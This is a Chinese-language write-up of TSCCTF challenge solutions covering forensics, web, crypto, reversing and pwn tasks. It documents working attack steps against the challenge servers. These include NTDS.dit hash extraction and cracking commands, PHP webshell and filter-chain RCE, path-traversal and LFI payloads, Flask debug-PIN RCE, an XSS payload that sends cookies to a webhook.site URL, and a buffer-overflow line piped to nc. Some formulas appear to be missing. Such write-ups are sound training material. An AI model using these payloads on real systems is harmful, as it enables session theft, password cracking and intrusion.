CTF
第一次有拿到 CTF 前三
翻 fb 可以找到以下三個貼文
TSC{F0R_TSCCTF_
F0LL0VV3RS_f0rrn3d_
6y_PU6L1C1TY_T34M}
組合起來變成 flag
TSC{F0R_TSCCTF_F0LL0VV3RS_f0rrn3d_6y_PU6L1C1TY_T34M}
flag 在 DC 上面,翻找一下發現有一個神祕的貼圖
照著打出來就是 flag,不過有點難看懂,測了好幾次加上用 ticket 才成功
TSC{7h3_DC_flag!}
就填問卷
TSC{Y0u_w3r3_gr347!}
圖片如下,可以看到他似乎是一個 QR code,但是有填奇怪的顏色
而根據題目說明可以猜測跟 RGB 的 channel 有關,因此我使用了 stegsolve 來試試看
分別檢視 Red Plane 7
, Green Plane 7
, Blue Plane 7
這三個 channel,可以看到會有三個不同的 QR code
這邊我直接用手機的 Mixerbox
掃描器來掃,可以讀到以下三個訊息
T{5_e3V15r63o_O0_ErNnCV11M45RW7
SR34_D13_3L_k0_ma_3_D0444a1_3h3
C05Rr_07A_UY0Np5R934_n1r_j1A_1}
可以看到 flag 應該是從上而下從左而右的順序來讀,拼湊一下就能拿到 flag
TSC{R0535_4Re_r3D_V101375_Ar3_6LU3_Yok0_0NO_p0m5_aRE_9r33N_4nD_C0nV4114r14_Maj4115_AR3_Wh173}
圖片如下
這邊我用線上工具 aperisolve 來分析,可以看到在一些處理下看到好像是 QR code 的東西,但是被切掉了
而在經過搜尋後,我找到了一篇文章 Hiding Information by Manipulating an Image's Height,他解釋如何去把 jpg 的 height 和 width 做更改,只要找到 FF C0
這個 identifier 的後面幾個 byte 即可,如下圖所示
而在這張圖片中就會對應到 0xdf ~ 0xe2 這邊
因此我們可以嘗試去修改他的 height,這邊我調成跟 width 一樣是 0x0400,變成下面這樣
更改之後的圖片如下,QR code 出來了
拿手機掃一下就能拿到 flag
TSC{Wh47_yoU_53e_IS_noT_Wh@t_YoU_9Et}
檔案解開之後是 important_data.vhdx
,是一個硬碟檔案
我首先使用 FTK Imager 來分析,可以看到在 C:\
下面有一個 card.jpg
,裡面藏有一個 zip 檔案 ntds.zip
將 ntds.zip
取出解開之後,可以看到裡面有 Active Directory
和 registry
這兩個資料夾,此外還有 fasttrack.txt
這個看起來是字典檔的東西
而在 Active Driectory
資料夾中有一個 ntds.dit
,這個檔案是 Windows 的 user database,而搭配前面找到的字典檔我們可以嘗試來進行爆破,這邊我參考了 Extracting and Cracking NTDS.dit 這篇文章
首先我使用了 impacket
的 secretsdump
來將 ntds.dit
轉換成 hash 的形式並儲存成 ntlm-extract
檔案,而這個指令需要 SYSTEM
的 registry 檔案,他在 registry
資料夾中
impacket-secretsdump -ntds ./ntds.dit -system ./SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
有了 hash 檔案,我們可以使用 hashcat
來進行爆破,並儲存結果到 cracked.out
檔案中
hashcat -m 1000 -w 3 -a 0 -p : --session=all --username -o cracked.out --outfile-format=3 ntlm-extract.ntds ./fasttrack.txt
可以看到他一共爆出了 2 個 hash,其中一個是空的,另一個是 Administrator 的密碼 welcome
不過爆完密碼之後我就沒有頭緒了,直到有了第一個提示
可以看到他說這題和上一題有類似的邏輯,因此可以想像得到是要把 card.jpg
的寬和高做更改,而在這個圖片要更改的位置是 0xff ~ 0x102 這邊
把他的高改成跟寬一樣是 0x01cc 之後,會拿到下面的圖片
我們找到要回答的問題了,flag 會需要 AD 的 domain name 以及 Administrator 的密碼,而密碼的部分我們已經有了,因此接下來要找 domain name
根據 JSI Tip 1657. Where is the domain name in the registry? 這篇文章,我們可以知道 AD 的 domain name 在 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain
的路徑中
而這邊我使用 Registry Explorer 工具來看 registry,而在 SYSTEM
的 ControlSet001/Services/Tcpip/Parameters/Domain
路徑下可以找到 domain name 是 tsc_ctf_AD.local
組合前面的 password 之後就能拿到 flag
TSC{tsc_ctf_AD.local_welcome}
題目給了一個音檔,直接丟到 audacity
中分析
我一開始是察看一下頻譜圖的部分,看到好像是摩斯密碼的東西,但解出來是一個沒意義的字串 QQ
後來在幾個釋出的提示之後,我有了新的想法
hint-tldl.png
如下
從以上這些提示可以猜測到可能跟波形的振幅有關,不過初步看 Audacity
的波形圖是一片空白,因此我們需要做一些處理
在 Audacity
的效果選單,選擇做正規化的處理之後,選擇刻度是 dB
,就可以看到以下的波形圖,看得出一些東西了,且左聲道和右聲道的波形圖是不一樣的
而在提示中還可以看到有一張 x, y 的平面圖,且我們知道這個音檔的左右聲道都有不同資料,因此可以猜到左右聲道分別代表 x, y 的數值
因此在參考 How do I get the frequency and amplitude of audio that's being recorded in Python 3.x? 及 Error: unknown format: 3 (When trying to read audio wavfile) 這兩篇資料後,我寫了一個腳本來畫圖出來
出來的圖片如下,可以看到 flag 在裡面
TSC{V3ry_10Ud_d1R3c7_CUrR3N7_Bu7_1n_32-b17_f1047}
拿到 first blood 了,開心
題目有給原始碼,那就先來看原始碼的部分,以下是 index.php
的關鍵邏輯
可以看到他會根據 $_POST["region"]
來決定要用哪個國家的匯率,而 $_POST["amount"]
則是要換多少錢,而這兩個都是使用者可以控制的
另外可以看到當作完相關匯率計算之後,會寫一個 html 的內容到一個檔案中,檔案名稱是亂數,不過附檔名的部分是根據 $_POST["region"]
查詢 countryData
後的結果,而這個 countryData
是在 currency.php
中
而基本上這個題目就只有這個功能,因此可以想像得到是要用 LFI 做 RCE,雖然檔案內容我們可以用 $_POST["amount"]
來控制成 PHP webshell 的東西,但是附檔名的部份我們還是需要控制成 .php
才能夠執行
不過實際去 currency.php
做一下搜尋之後,可以看到 Philippines
的 ISO name 恰巧就是 PHP
,因此只要我們選擇國家是 Philippines
,那麼附檔名就會是 .php
,這樣我們只要在檔案中寫入 PHP webshell 就可以 RCE 了
因此我們可以使用以下的輸入
在 cmd
參數的部分就可以執行指令做到 RCE
TSC{Y0u_4r3_7h3_curr3ncy_ISO_c0d3_3xp3r7}
題目沒有給 source code,所以只好直接去看網站
可以看到這題有四個階段,此外他有給 dockerfile 不過基本上就是說 flag 在檔案系統中,用處不大
第一個階段的 code 如下
這是一個經典的 PHP md5 比較題,可以參考 PHP MD5 Bypass Trick 這篇文章,第一個 payload 我使用的是裡面第 4 個的 null 繞過方法來繞
payload: /stage1.php?A[]=1&B[]=2
第二個階段的 code 如下
這題我在嘗試的過程中發現他出壞了,直接亂給 A 和 B 都能過,只要不要一樣就好
payload: /stage2_212ad0bdc4777028af057616450f6654.php?A=1&B=2
第三個階段的 code 如下
可以看到這個階段需要一個 page
參數,而他會將這個參數帶進 file_get_contents
中,因此可以想像得到是要做 LFI,不過他有做一些過濾我們需要繞過
在他的過濾規則中,首先會將 page
轉成小寫,之後會用 regex 檢查是否有 \
或 _
或 /
的字元,而後還會將 ..\
換成 ../
之後再將 ..
換成 .
,最後才會帶進 file_get_contents
中
而首先可以看到他的 regex 寫壞了,他會偵測的是 \_
或 /
的 pattern,因此我們還是可以使用 ..\
來躲掉偵測,而後面它會自動地幫我們再轉換成 ../
而繼續看下去,可以看到他會將 ..
換成 .
,因此 ../
就會變成 ./
,path traversal 失敗,不過我們可以在前面加上 .
來繞過,這樣在轉換後反而會從 ...\
變成 .../
,之後就會變成 ../
了
因此我們可以嘗試讀裡面有 include 的 config.php
,payload 如下
paylaod: /stage3_099b3b060154898840f0ebdfb46ec78f.php?page=...\config.php
我們找到了 stage 4 的路徑
以下是第四個階段的 code
可以看到他會讀取 $_POST["👀"]
並 include 進來,沒了,而這邊也是最後的階段,可想而知是要做 RCE 讀 flag 檔案
這邊我使用的是 php filter chain RCE 的方法,使用的工具是 PHP filter chain generator
首先先用這個工具執行以下的指令,產生 filter chain payload,<cmd
部分是要執行的指令
python php_filter_chain_generator.py --chain "<?php system('<cmd>') ?>"
接著使用 curl 送封包過去,將以下指令的 <chain>
部分換成剛剛產生的 payload 即可
curl -X POST -v http://172.31.210.1:33002/stage4_b182g38e7db23o8eo8qwdehb23asd311.php --data "👀=<chain>"
執行之後就能成功執行指令,做到 RCE
TSC{y0u_4r3_my_0ld_p4l}
這題沒有給 source code,因此只好直接去看網站
基本上只有一個一直跳動的迴紋針,沒有其他的了
而去看一下迴紋針的路徑 /img/aGludC5qcGc%3D
,可以看到後面似乎有一串看起來像是 base64 的東西,解碼之後發現是叫做 hint.jpg
,因此可以推測這個地方有可能有讀檔的漏洞,只要我們將路徑包成 base64 之後給他即可,這邊我嘗試讀取 /app/Dockerfile
,payload 如下
/img/L2FwcC9Eb2NrZXJmaWxl
使用 curl 去讀取之後,可以發現我們成功讀到了 Dockerfile,代表這邊確實有 LFI 漏洞,以下是 dockerfile 的內容
可以看到 flag 是在檔案系統中,此外也可以看到 flask 是跑在 debug mode 下,且我們有任意讀檔的漏洞,因此我們可以嘗試用 flask pin RCE 的方式去執行指令
這邊我參考了 Werkzeug / Flask Debug 及 flask计算pin码 的資料,相關腳本也是從裡面來改的
根據裡面的說明,我們需要找到以下的資訊
在 public bit 的部分,username
的部分我們可以從 dockerfile 知道是 daemon
,而 modname
一般來說是 flask.app
,因此我們只需要找到 app.py
的絕對路徑即可,這邊我是直接在本地跑 dockerfile 去找,路徑為 /usr/local/lib/python3.10/site-packages/flask/app.py
而在 private bit 的部分,MAC address
可以從 /sys/class/net/eth0/address
中找到,而 machine id
根據參考資料要讀取 /proc/sys/kernel/random/boot_id
及 /proc/self/cgroup
的東西並進行串接,以下是各部分的資料
/sys/class/net/eth0/address
curl -v http://68396759-80c7-431e-a09a-6a7abd2c3c08.challenge.tscctf.com/img/L3N5cy9jbGFzcy9uZXQvZXRoMC9hZGRyZXNz
mac address 是 02:42:0a:00:01:36
/proc/sys/kernel/random/boot_id
curl -v http://68396759-80c7-431e-a09a-6a7abd2c3c08.challenge.tscctf.com/img/L3Byb2Mvc3lzL2tlcm5lbC9yYW5kb20vYm9vdF9pZA==
boot id 是 96f33aa0-36cf-48a8-8ced-c2e3aa85b7ae
(這邊不小心切到了 sorry)
/proc/self/cgroup
curl -v http://68396759-80c7-431e-a09a-6a7abd2c3c08.challenge.tscctf.com/img/L3Byb2Mvc2VsZi9jZ3JvdXA=
而 cgroup 的部分是空的,因此應該可以不用做串接
綜合以上資訊,計算的腳本如下
算出來的 pin 是 192-946-691
接著只要訪問 /console
路徑輸入 pin,我們就能自由的執行 python 程式了,而也就可以使用 os.popen(<cmd>).read()
來執行指令讀取結果,也就能做到 RCE 了
TSC{ch3ck_d3bu6_m0d3_15_0ff_b3f0r3_0nl1n3}
題目沒有給 source code,因此只好直接去看網站
網站點進去後看到的是一個登入畫面,這邊我有試過 sqli 沒辦法打,只好乖乖的註冊然後登入
登入後可以看到是一個名片的生成網站,我們可以在裡面改 username 及 description,並且可以將名片送給 admin 看,可以想像得到這是前端類型的題目,因此我猜測可能是用 xss 來打
這邊我嘗試了一下發現在 username 的部分有 xss 漏洞,更改成 <script>alert(1);</script>
即可彈出 xss 訊息
而從 cookie 中可以看到 session 沒有上 http only,因此可以直接偷出來
這邊我使用 fetch
來傳送分包出來,並使用 webhook 來接收
<script>fetch("https://webhook.site/023b8760-bba9-4b3c-a291-20db4f1454d4/?"+document.cookie);</script>
可以看到我們確實偷到了 admin 的 session,登入試試看
裡面沒有東西 QQ
拿 session 去解碼一下,可以看到裡面有奇怪的 link
變數
/jaaHXD1dNEigYO2J8O5f00UjA3akZ5IZ
訪問後就能拿到 flag
TSC{Wh4t$_gO1n&_0n_w17h_Fl@5k_s3s51on?}
這題我使用 unintended 的解法,有點小通靈
題目沒有給 source code,因此只好直接去看網站
可以看到這是一個購物網站,有四個商品可以買,在正常情況下假設我要購買相機的話,就會變成下面這樣可以加到購物車,但是看不到哪裡有下訂單的按鈕,可能沒有這功能
而我們接下來可以看一下他是如何送資料的,在 HTML 中可以看到他的封包有 3 個參數 action
, code
及 quantity
,商品名稱應該是 code
那邊
而這題我有嘗試過一些基本的 SQLi,但是看不出效果,因此我只好找其他方法
這題我後來使用的是 IDOR
的方法,我猜測可能有一個商品名稱叫做 flag
,而我把 code
改成 flag
之後,就成功拿到 flag 了
FLAG{Th3_secret_0f_wh3r3_5tatement}
以下是題目
可以看到題目會給我們一個 prefix
和 hashed
,我們要找到一個字串使得開頭是 prefix
且 hash 過後是的結尾是 hashed
因此我們可以嘗試直接從這個 prefix 開始往後添加字串,直到找到一組能滿足條件的字串為止,以下是我的腳本,裡面我使用的是 itertools
的 product
函式搭配迴圈來生成有 1, 2, … 個字元長的 postfix 進行串接
執行之後就能算出一個符合的字串,拿到 flag
TSC{2a92efd3d9886caa0bc437f236b5b695c54f43dc9bdb7eec0a9af88f1d1e0bee}
以下是題目
可以看到他會生成一個 100 字詞長的隨機字串,並對於每個字詞會有 4 種不同的編碼方式,編碼方式是隨機選的,而最後會將編碼後的字串印出之後再印出一個 hint,最後問使用者這 100 個字詞,符合的話就會給我們 flag
從 hint 的算法可以得知他會對每個字詞隨機取兩個大寫字母,並根據隨機字串該位置的字詞編碼方式決定是調整成大小或是小寫,因此我們可以透過 hint 的大小寫來得知隨機字串的每個字詞的編碼方式,進一步我們可以再根據這些編碼方式逆回來成原本的字詞,以下說明每種編碼方式
編碼方式 a
會將字詞的每個字元轉換成 hex,因此逆向方式可以使用 bytes.fromhex
來解回來
編碼方式 b
會將字詞的每個字元先轉換成 binary,並用前 4 bit 與後 4 bit 的值去存取 b_chars
,因此逆向方式可以使用 b_chars.index
去還原回前 4 bit 與後 4 bit 的值之後,做 shift 和 or 運算計算 (front << 4) | back
即可還原回來該字元,所有字元逆回來之後即可還原整個字串
編碼方式 c
和 b
類似,只不過是變成切成 4 個 2 bit 的資料,和上面一樣先去做 c_chars.index
之後用 (front1 << 6) | (front2 << 4) | (back1 << 2) | back2
即可還原回來該字元,而後即可還原整個字串
編碼方式 d
與 a
很類似,只不過是會轉換成 oct,而 oct 有意點比較煩的地方是在可視字元的情況中轉換後可能會是 2 或 3 個字,不過我們可以從第一個字元是不是 1 來判斷是否是 3 個字,而後根據長度切割並用 int(s[i:i+2], 8)
或 int(s[i:i+3], 8)
來還原回來該字元,而後即可還原整個字串
因此我們有了轉換編碼的函式之後,可以整合成以下的腳本
執行成功,取得 flag
TSC{f92f8ee588f3f4ff5b2cf5cdefd94bbc6e833881bedfd5cc0ba5f54b51382a94}
題目原始碼如下
可以看到這是一個改過的 LFSR,在計算新的 bit 的部分使用了 h
這個函式,裡面會帶入 a
和 m
兩個參數,也就是 ac[i]
及 self.a[i]
的部分
而我們知道由於 LFSR 是因為是線性的,因此可以轉換成線性代數的矩陣來做 modeling,而雖然這邊的 h
函數看起來不是線性的,初步看起來好像不能用線性代數的方式來解,但是我們已經可以事先知道 self.a
也就是 m
的值,此外在 GF(2)
下 a
只會是 0 或 1,做平方沒有影響,因此這個函數仍然可以視為是線性的,我們可以嘗試進行 modeling
首先由於這個式子的 h
函式並不是直接是 的關係 ( 是輸入),而算是 ,因此我們無法像是一般破解 LFSR 那樣直接 model 成 那樣,不過我們可以將它建模成 的方式,這邊的 是一個 64*64 的方正矩陣,而 是一個 64 維的向量,接下來我們看如何來產生 和
首先在 的部分,由於這題的 LFSR 也是一直往前位移的方式,因此他的上面 63 * 64 的矩陣與一般的 model 方式相同,也就是下面這樣,最後一列待填
而在更新 bit 的部分可以先來看一下他的式子,他的式子如下
而如同前面所說的 ,且由於在 GF(2) 下 ,因此上面的式子可以再轉換成下面這樣
因為後面項與 bit 狀態無關,因此在 的部分只要考慮前面項即可,也就是說在 矩陣的最後一列會是 0 ~ 7 為 1 其他為 0,如下
而在 的部分,就要看前面式子中的後面項,而他只會影響到最後的一 bit,因此 向量的部分會變成前面是 0 最後是
因此我們有了 model 之後,我們可以來建聯立方程式,不過由於在 flag 後面只有給 52 個乾淨沒有被 xor 過的 bit 但是我們有 64 個變數,因此需要借用一下 flag 前面已知的 TSCCTF
這 6 個 bytes = 48 個 bits 的資料,而由於第 1 個 bit 沒有乘過我們的 矩陣,因此無法使用他,因此我們只能使用 47 個 flag bits 加上後面的 52 個 clean bits 來建方程式,足夠我們使用了
以下是解題的腳本,取得 key 之後就可以正常的跑 model 來產 bit 解密 flag 了
執行之後可以拿到 flag
TSCCTF{3736203334203435203235203337203434203433203935203834203933203134206433203637206633203836203336203437203136203737206632206436206636203336206532203536203236203537203437203537206636203937206532203737203737203737206632206632206133203337203037203437203437203836}
以下是題目的部分
可以看到題目會生成 RSA 2048,並且會執行 16 round,每次會對 flag 做兩次的 LCG 之後做 RSA 加密印出來,公鑰 e 是 0x487
而我們可以知道 LCG 是一個線性的算法,就算做 2 次也一樣,因此我們可以得到這樣的關係式, 是線性的函式
因此這題是一個標準的 related message attack
首先我們可以先將 展開出來,他是 ,也就是
因此我們可以參考 這個腳本 來改成這題的腳本,如下
執行之後就能算出 flag
TSCCTF{_______dQw4w9WgXcQ_______}
打開檔案之後,可以看到項是下面這樣的東西
初步看不出來是啥,只能知道每一格的字元長度不固定,大概介於 1 ~ 5 個字元之間
而搭配一下題目的名稱,可以看得出應該是叫 caesar input method
,所以應該是有被做凱薩加密之類的
另外從題目說明的鍵盤圖可以推知跟倉頡有點關係,且根據 wikipedia 的資料可以知道倉頡的字碼可以是 1 碼到 5 碼,與我們先前的發現相符
而觀察一下檔案,我在觀察 5 碼的時候發現了一個關鍵的地方,以下是我整理的 5 碼資料,中間 ...
代表的是多個字,而 ?
代表的是一個非 5 碼的字
可以觀察到,裡面的 HSNCD ZZECD
, KVQFG CCHFG
, QBWLM IINLM
, WHCRS OOTRS
, CNIXY UUZXY
, YJETU QQVTU
的 pattern 很類似,因此我有個大膽的想法,會不會他們其實是同一個字,只是有不同的 offset
因此我整理了一下,以下是上面這些 pattern 中間隔了幾個字元的資料,可以看到在隔了 42 與隔了 16 個字元的情況下他們都是會有 6 個 offset 的差距,且 ,這是巧合嗎?我認為不是
因此我們可以大膽的猜想,第 1 個字和第 27 個字會使用相同的 caesar key 做加密,第 2 個字和第 28 個字會使用相同的 caesar key 做加密,以此類推,而我們需要找到這個 key 以及他是如何做演化的
因此我首先從第 1 個字的 key 開始找起,他的 key 也會和第 27 個字的 key 相同,這邊我使用 cryptii 的線上工具來轉 caesar 回來,並使用 線上倉頡輸入法 來測試倉頡字碼
當我在測試第 27 個字 AUMD
的時候,我發現在將他做 +14 時 (也就是 caesar key 是 12) 會轉換成 OIAR
,而字碼轉換後變成倉頡的 倉
,所以可能解對了?
而我原本猜想 key 的更新是一個字元就會讓 key + 1 或 key - 1,但是測試起來好像不是,而我這邊就假設前面找出來的 倉
字後面應該會接 頡
,因此就去嘗試找對應的 caesar key,最終找到了是 25,所以可能是 +11 的更新法則
因此我這邊初步寫了一個腳本來自動解碼,而另外為了要解倉頡碼出來,我上網找到了 EasyIME/PIME 這個字碼庫來轉換
因為有些字詞會有一個倉頡碼對應到多個字的情況,因此我有將那些部分轉換成 list 之後一起印出來,並將一些已知可能的字元寫死設定,而在 try and error 很多次之後終於試出來了
丅丂匚﹛十与口 丂巳﹙凵𠂆讠七丫 匚𠂆巳夕讠七 做得好! 丫口凵’𠂆巳 山巳︱︱ 口几 丫口凵𠂆 山凡丫 七口 㠯巳﹙口爫巳 凡 匚凡巳丂凡𠂆 讠几卩凵七 爫凡丂七巳𠂆!!﹗﹗﹗﹜
題目給了 binary,直接丟進 IDA 分析,以下是 main 函式
可以看到程式會從 argv 讀取輸入,並可以看到輸入的長度必須是 32,而後他會將 code
陣列的資料與 0x87
做 xor 之後視為是 shellcode 執行,並將輸入帶進去,假如執行通過的話就會印出 Here is your flag
加上我們的輸入,因此可想而知我們的輸入應該就要是 flag
我們可以使用 cyberchef 來做 xor 並做 disassemble,recipe 在此,我將 code 陣列的資料做完 xor 之後直接做 disassemble,因此可以看得到檢查的邏輯部分
以下是 assembly 的部分,我有將後面的 \x00
去除掉
從以上邏輯慢慢看出在 0x07 ~ 0x10 的地方他會將一個字串 c8763
放到 rbp-0xd
的地方,而後在 0x16 ~ 0x77 的地方有一個迴圈會從 0 執行到 0x20,看起來是會對輸入的每個 byte 做事情,而在 0x26 的地方可以看到他會從 0x404160
的地方載入一個一個 dword 的資料到 ebx
之後在 0x62 ~ 0x71 的地方會將轉換後的輸入資料與 c8763
做 xor 之後與 ebx
做比較,如果一樣的話迴圈繼續否則返回 0 表示失敗
而中間那一大段的邏輯我看了很久但是看不太出來他要幹嘛,因此這邊我直接嘗試將 0x404160
那邊 dword
的資料與 c8763
做 xor,發現 flag 就出來了,recipe 在此,所以我猜中間可能是用來混淆用的
TCLCTF{Now_ur_A_sHELLcode_M4sTer}
題目有給 source code,如下
可以看到他有一個 main
函式及 win
函式,我們只要跳到 win
上就能拿到 shell
而在 main
的地方有一個 gets
,具有 BOF 漏洞,因此我們可能可以用 stack overflow 蓋 return address 的方式跳到 win 上開 shell
以下是 checksec 的結果,可以看到沒有 PIE 和 canary,可以直接跳讚讚
以下是 win
函式的位置,我使用 readelf
來看 (我懶得開 ghidra)
因此有了要跳的位置,我們可以開始打 exploit 了,ㄚ我懶得寫 script 因此直接用 echo 來解,總之前面會有 0x20 個 A
字元來填 buffer,8 個 B
字元來填 rbp,後面填上 win 的位置代表 return address,即可跳到 win,後面就會送 cat flag
的指令給 shell 拿 flag 的內容
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x96\x11\x40\x00\x00\x00\x00\x00\ncat flag" | nc 172.31.210.1 50001
指令下去就能拿 flag 了
TSC{baby_pwn_cha11eng2_1snt_1t?}
題目有給原始碼,如下所示
可以看到他與前面一題不同的是他只有一個 main
函式,沒有 win
沒辦法直接跳,因此需要靠 return to libc 的方式來開 shell
另外一個可以觀察到的地方是它有一個 printf(str)
,裡面的字串可控,因此我們可以用 fmt 的相關攻擊方法來 leak 資訊,比如說 libc base address 之類的
接下來我們可以來看一下 checksec 的結果,可以看到他有開 PIE 和 canary,因此我們除了 libc base address 之外可能還需要 leak canary 以及 code base address,根據前面程式的輸入部分,在不影響運作的情況下,我們可以寫最多 32 個字元,而這已經足夠我們來 leak 資料了
我們可以初步嘗試用 gdb 來看要 leak 哪裡,在有 fmt 漏洞那邊的 stack 如下,可以看到 canary 在 0x7fffffffdcf8
那邊,main
函式結束後會跳回 __libc_start_main
的位置在 0x7fffffffdd08
,而 __libc_start_main
的參數 main
address 在 0x7fffffffdd28
,因此相對應的我們要用 %???$p
的參數編號分別會是 6+5, 6+7, 6+11
leak 出來後計算一下 offset 即可取得相對應的 base address 的數值
以下是腳本中相對應的程式碼部分
接著有了 canary、libc base address、code base address 之後,我們可以開始來串 ROP chain 了,我們需要用 libc 中的 system()
來 call /bin/sh
開 shell,因此我們需要 system()
的位置、/bin/sh
的位置以及 pop rdi
的 gadget,而為了可能的 stack alignment 的問題我們也可能需要 ret
的 gadget,以下 gadget 皆是使用 ROPgadget 及 readelf 來找到的
首先是 system()
的位置,我們可以用 readelf 工具來找到,如下
/bin/sh
的字串可以用 ROPgadget 工具找到,不用自己寫 bss
pop rdi
的 gadget 也可以用 ROPgadget 找到
ret
的 gadget 當然也可以用 ROPgadget 找到
將這些 gadget 與計算出的 libc base address 做相加,即可得到這些 gadget 的真實位置,而我們就可以用這些 gadget 來串 ROP chain 開 shell RCE 了
完整的 exploit 如下
執行後即可拿到 shell
TSC{ret2l1bc_happy_happy_happy1337}
這題題目沒有給 source code,只能去逆向他了,以下是 ghidra 逆出來的 main
函式
可以看到這題和前面兩題有點像,不過是困難版的,既沒有 win
函式也沒有 fmt 漏洞可以 leak 資訊,此外他在輸入的部分也只給了 0x30
的空間,基本上只能蓋到 rbp 及 return address
不過值得慶幸的是在 checksec 中可以看到他沒有 PIE 及 canary,至少我們不需要煩惱怎麼繞過這邊
接下來為求方便解釋,我先將以上程式碼中比較重要的 assembly 貼在下面做參考使用
回到主題,由於我們基本上只能蓋 rbp 及 return address,肯定是沒辦法單純的蓋 ROP chain,因此我們必須要用 stack pivoting 跳到 bss 或是其他地方塞 ROP chain,這邊我是選擇 bss
首先我們要先選一塊風水寶地,我們可以從 readelf 或是其通工具知道 bss 段是在 0x404000 ~ 0x405000 的地方,而我選擇要做事情的資料是從 0x404800 開始,至於為什麼要選這麼高的位置後面會說明,這邊我們先命名為 bss_800
而從上面的 assembly 可以看到當我們能控制 rbp 並修改 return address 到 0x004011c5 時,由於程式的邏輯我們可以寫入 rbp - 0x20 到 rbp + 0x10 的位置,因此我們可以寫入一些資料到 bss 上
因此,在第一次階段的部分我們會使用以下的 payload,先填充 0x20 的 buffer 之後在 rbp 的地方寫入 bss_800 + 0x20
,並將 return address 蓋成 0x4011c5
,這樣我們在下一個階段就能寫入資料到 bss_800
在第二個階段,目前的 rsp 仍然是一個 stack 上的位置,不過 rbp 現在變成 bss_800 + 0x20
,而由於我們目前還沒辦法跳去玩 ROP chain,因此第二個階段的 payload 還是暫時是填充 buffer 並在 rbp 的地方填入 bss_800 + 0x28 + 0x20
以及 return address 填入 0x4011c5
,至於為什麼是 bss_800 + 0x28
在下一個階段就會揭曉,而下個階段我們就能寫入 bss_800 + 0x28
~ bss_800 + 0x58
的位置
在第三個階段,目前的 rsp 是第一個階段的 rbp bss_800 + 0x20
加上 function epilogue 中 pop rbp ; ret
使得會變成 bss_800 + 0x30
而 rbp 是上一個階段的 rbp bss_800 + 0x48
,在這個階段中我測試時發現了一些奇妙的事情,首先下面是 read
的 assembly code 的前面部分
當我們 call read
時,會一路從 plt -> got 最終跳到 libc 上的 read 函式也就是這邊,而 call 的時候同時也會讓 rsp 減 8 並放上 return 回來的位置 (calling convention),因此此時在這個函式一開始時的 rsp 是 bss_800 + 0x28
,而在這段程式碼中我們會寫入 bss_800 + 0x28
~ bss_800 + 0x58
,恰巧的我們可以複寫到 return address 所在的位置 bss_800 + 0x28
,也就是說我們可以在這段位置上放 ROP chain,而這也是為什麼前面在階段二我們要填 rbp 所填的是 bss_800 + 0x28 + 0x20
的原因
既然我們可以執行 ROP chain 了,那麼我們要如何 leak 資料呢?一個簡單的想法可能是 ret2plt,但是實際去用 ROPgadget 會發現 binary 中並沒有 pop rdi
的 gadget 可以使用,很不方便,另外 binary 中也沒有 dl_resolve
可以使用
因此這邊我使用了 lys 大大在好厲駭 ROP 課中所說到的 ret to deregister_tm_clone 的方式,以下我來進行說明這個方法
首先以下是 deregister_tm_clone
的 assembly 部分,可以看到他在一開始會將 __bss_start
的資料放到 rax 中,而這個位置其實會是 libc 中跟 dynamic linking 載入器有關的位置,因此執行這個函式等同於我們把 libc 上的位置放到 rax 中
回到前面的 assembly 部分,可以看到在 0x004011e7 的位置會將 rax 的值放到 rdi 之後用 print 印出,也就是說只要我們在 ROP chain 中執行完 deregister_tm_clone
之後跳到 0x004011e7 的位置我們就能 leak 出 libc 的位置了
因此我們第三階段的 payload 就會是 ROP chain 加上一個 rbp address 為 bss_800 + 0x28 + 0x20
以及 return address 填 main
函式,在這個階段我們就能 leak 出 libc 的位置了
而最後階段我們跳回了 main
函式,且我們知道了 libc 的 base address,因為上個階段的 rsp 最後會變成 bss_800 + 0x50
,做完 main
的 prologue 之後 rbp 就會變成 rsp 也就是 bss_800 + 0x50
,因此此時我們可以寫入的位置是 bss_800 + 0x30
~ bss_800 + 0x60
,這邊我們只要在這個位置段寫入開 shell 的 ROP chain 並做一般的 stack pivoting 跳到上面即可
而這邊有個小插曲,我原本在使用比較低位置的 bss 時發現會在 system
執行途中寫入到超出 bss 範圍的地方,使得發生 segmentation fault,因此後來我就搬到比較高的地方去,這也是為什麼前面說要挑 0x404800 的原因
完整的 exploit 如下,前面有一塊是解 pow 的部分在此不做說明
執行完之後就能拿到 shell 了
TSC{R0p_i5_StiLL_b4by_IN_2024_iF_u_c4n_FiNd_Cust0M1ZEd_gADgETS_fIepTj0DlqTN4tpw}
這題我也拿到了 first blood 了,開心